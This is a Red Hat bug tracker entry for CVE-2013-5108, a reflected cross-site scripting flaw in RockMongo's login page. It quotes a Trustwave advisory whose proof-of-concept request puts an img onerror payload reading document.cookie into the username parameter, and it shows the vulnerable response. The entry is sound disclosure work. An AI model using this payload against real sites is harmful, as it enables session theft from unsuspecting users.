Bug 1043668 (CVE-2013-5108) - CVE-2013-5108 RockMongo: reflected XSS
Summary: CVE-2013-5108 RockMongo: reflected XSS
Status: CLOSED WONTFIX
Alias: CVE-2013-5108
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard: impact=moderate,public=20130816,repor...
Keywords: Security
Depends On: 1043673
Blocks: 1043672
TreeView+ depends on / blocked
 
Reported: 2013-12-16 21:03 UTC by Kurt Seifried
Modified: 2019-06-08 19:50 UTC (History)
6 users (show)

(edit)
Clone Of:
(edit)
Last Closed: 2014-09-07 05:03:27 UTC


Attachments (Terms of Use)

Description Kurt Seifried 2013-12-16 21:03:29 UTC
Damian Profancik of Trustwave SpiderLabs reports:

RockMongo is vulnerable to numerous Cross-Site Scripting Vulnerabilities.
Specifically, any parameter that is retrieved with the "xn" function.

This vulnerability does not require an attacker to be authenticated prior
to performing the exploit, as there are vulnerable parameters on the login
page. Below is a proof of concept for exploiting this vulnerability:

Example 1 (Tested on RockMongo v1.1.2):

#Request (The "db" parameter is also vulnerable on the login page)

GET /index.php?action=login.index&host=0&username="><img+src%3D1+onerror%3Dalert(document.cookie)> HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

#Response

HTTP/1.1 200 OK
Date: Mon, 10 Jun 2013 14:01:52 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3658
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>RockMongo</title>
...
<tr>
<td nowrap>UserName:</td>
<td><input type="text" name="username" value=""><img src=1 onerror=alert(document.cookie)>" style="width:150px"/></td>
</tr>
...

External references:
https://www.trustwave.com/spiderlabs/advisories/TWSL2013-026.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5108

Comment 2 Kurt Seifried 2014-11-30 19:52:10 UTC
Statement:

This issue affects the versions of the mongo cartridge as shipped with Red Hat OpenShift Enterprise Linux 2. Red Hat Product Security has rated this issue as having Moderate security impact. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.


Note You need to log in before you can comment on or make changes to this bug.